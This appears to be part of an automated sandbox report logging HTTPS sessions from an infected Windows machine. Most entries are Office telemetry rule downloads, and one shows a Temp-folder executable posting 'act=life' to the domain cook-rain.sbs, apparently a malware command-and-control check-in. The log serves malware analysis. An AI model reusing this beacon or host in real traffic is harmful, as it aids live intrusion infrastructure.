Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:27 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061028Z-r1d97b995774n5h6hC1TEBvf8400000009z0000000005gvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:29 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:29 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061029Z-178bfbc474bfw4gbhC1NYCunf4000000011g00000000dt3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:29 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:29 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061030Z-178bfbc474btrnf9hC1NYCb80g00000001ag000000000f7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:29 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:30 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: de17e165-601e-0002-3161-3ba786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061030Z-178bfbc474btvfdfhC1NYCa2en000000015g000000006bbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:30 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:29 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:30 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 1a8bda6d-001e-002b-2468-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061030Z-178bfbc474bmqmgjhC1NYCy16c000000013g00000000c2w5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:30 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:30 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:30 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061030Z-178bfbc474bbcwv4hC1NYCypys00000000vg00000000gs4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:30 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:31 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061031Z-r1d97b99577tssmjhC1TEB8kan00000009tg00000000d6c9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:32 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061032Z-r1d97b995774zjnrhC1TEBv1ww00000009xg0000000079s8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:32 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061032Z-1777c6cb754dqb2khC1TEBmk1s0000000ah000000000q2x2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:32 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061032Z-r1d97b995774n5h6hC1TEBvf8400000009u000000000n9sn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:32 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:32 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c9b33041-e01e-0033-176b-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061032Z-178bfbc474bwh9gmhC1NYCy3rs000000017g000000001kfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:33 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49821	188.114.97.3	443	3052	C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:33 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-21 06:10:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:33 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: c8277487-201e-0051-68a5-3b7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061034Z-r1d97b99577ckpmjhC1TEBrzs00000000a10000000006z44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
